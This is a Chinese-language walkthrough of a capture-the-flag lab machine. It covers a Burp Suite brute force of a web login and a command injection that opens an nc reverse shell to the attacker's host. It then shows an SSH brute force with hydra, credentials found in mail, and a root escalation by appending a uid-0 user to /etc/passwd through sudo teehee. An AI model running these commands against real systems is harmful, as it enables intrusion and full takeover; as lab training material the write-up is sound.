0x01信息收集
arp-scan -l扫描局域网设备,发现我们靶场的ip地址是192,168.190.140
对192.168.190.140进行详细扫描,发现其开放的端口号和对应的服务,开放22端口的SSH服务和80端口的http服务。
直接用浏览器访问下靶场的ip地址,发现这是一个用户登录页面,并且通过查看源代码发现这仅是一个单纯的登陆界面,那么基本思路就是想办法获取他的用户名和密码,用户名可以尝试常用的admin,接下来就是怎么获取密码?这里可以尝试使用burpsuite进行密码爆破。
0x02靶场攻击
这里需要进行一个暴力破解,这里可以考验我们字典的强大,用burpsuite爆破,首先打开burpsuite并开启抓包,页面中选择bp代理模式,尝试输入用户名:admin和随意的密码,提交以后便拦截到了数据包。
接下来就是对密码进行爆破,这里只标记密码位,对这个位置进行密码字典的替换和遍历。
导入密码字典
开始进行爆破,字典的强大决定了能不能跑车正确密码,这里爆出来的密码:happy,账号:admin
尝试使用用户:admin、密码:happy,进行登录,成功登进去了。接下来的思路就是如何才能获得对方的shell,也就是怎么实现反弹shell。
0x03反弹shell
这里实现反弹shell也是用burpsuite抓包,利用nc反弹shell。修改抓取的数据包,发现radio位置的原值就是对应的列出ls -l等Linux命令,只不过将这里的空格替换成了+的连接符,所以尝试修改此处的值,将radio的位置信息进行修改:nc+192.168.190.128+4444±e+/bin/bash ,同时kali开启nc监听进行等待反弹。以上操作均完成以后就可以forward放包了。
说明:这里面的 + 表示连接符,就是代替空格的作用。 -e:程序重定向,一旦连接就执行,这里执行的是/bin/bash这个登录shell指令。ip:要让他它主动连接并返回shell的ip 。 4444:是端口号,自定义。等同于在linux 执行:nc 192.168.190.128 4444 -e /bin/bash.
反弹成功以后,开启shell交互。python -c “import pty;pty.spawn(‘/bin/bash’)”
0x04密码爆破
开始查询各个目录,搜寻有用信息,经查在/home目录下发现了3个用户,当然可以先看一下/etc/passwd下的用户信息,并且在jim目录下发现了一个旧密码的备份文件,把这个密码备份文件拷贝到本地,后续用于SSH密码爆破的密码字典,同时将这3个用户名生成一个用户名字典。其他的就没有可利用的信息。
也就是说我们目前只有一个旧密码本和用户名信息,关联之前嗅探到的开放的ssh服务,也许可以尝试进行ssh密码爆破,经hydra爆破以后得到:用户名:jim 密码:jibril04,(这里不赘述此过程),用此密码账户登录SSH。
登录SSH以后先sudo -l 看一下当前的用户有什么特权指令可以执行,发现并没有,所以要找其他的信息来提权,在/var/mail下有一个jim文件.
查看jim文件以后得到另一个用户名和密码,用户名:charles 密码:^xHhA&hvim0y
尝试切换用户charles,切换成功以后,sudo -l 查看下当前用户有什么特殊权限,发现他能执行teehee指令。
具体看一下teehee指令怎么用???teehee --help,它是一个追加内容到给定文件中的指令,所以就考虑是否可以使用这个指令进行提权,基本思路就是能不能用这个指令向/etc/passwd中写入一个更高权限的用户。
0x005提权
要写入一个新用户,根据Linux用户字段格式,首先要生成linux用户字段的加密密码,这里使用的是Perl语句,指令:perl -le ‘print crypt(“原密码”,"salt“)’,接下来就是如何利用这个指令写入的问题了,
经查询以下是teehee指令的使用方法:
echo zyh:sahL5d5V.UWtI:0:0::/home/zyh:/bin/bash | sudo teehee -a /etc/passwd
成功以后,su zyh 切换用户,id查看下当前用户的uid,发现已经是root权限了。
进入/root目录,得到最终的flag.txt。到此结束
0x006总结
1.利用burpsuite抓包,NC反弹shell
2.生成Linux用户加密密码
这里使用的是Perl语句,指令:perl -le 'print crypt("原密码","salt“)'
openssl passwd的作用是用来计算密码hash的,目的是为了防止密码以明文的形式出现。
语法格式: openssl passwd [option] passwd
openssl passwd常用的选项如下:
-1:表示采用的是MD5加密算法。
-salt:指定salt值(加盐),不使用随机产生的salt。在使用加密算法进行加密时,即使密码一样,salt不一样,所计算出来的hash值也不一样,除非密码一样,salt值也一样,计算出来的hash值才一样。salt为8字节的字符串。
示例:
[tom@localhost ~]$ openssl passwd -1 -salt '12345678' ##注意‘12345678’不是密码而是密码的长度
Password: ##这里输入的是密码
$1$12345678$1qWiC4czIc07B4J8bPjfC0 ##这是生成的密文密码
##将生成的密码串,手动添加到/etc/shadow中就可用作用户的登陆密码了。
3.teehee指令的使用
以下是teehee指令的使用方法:
echo zyh:sahL5d5V.UWtI:0:0::/home/zyh:/bin/bash | sudo teehee -a /etc/passwd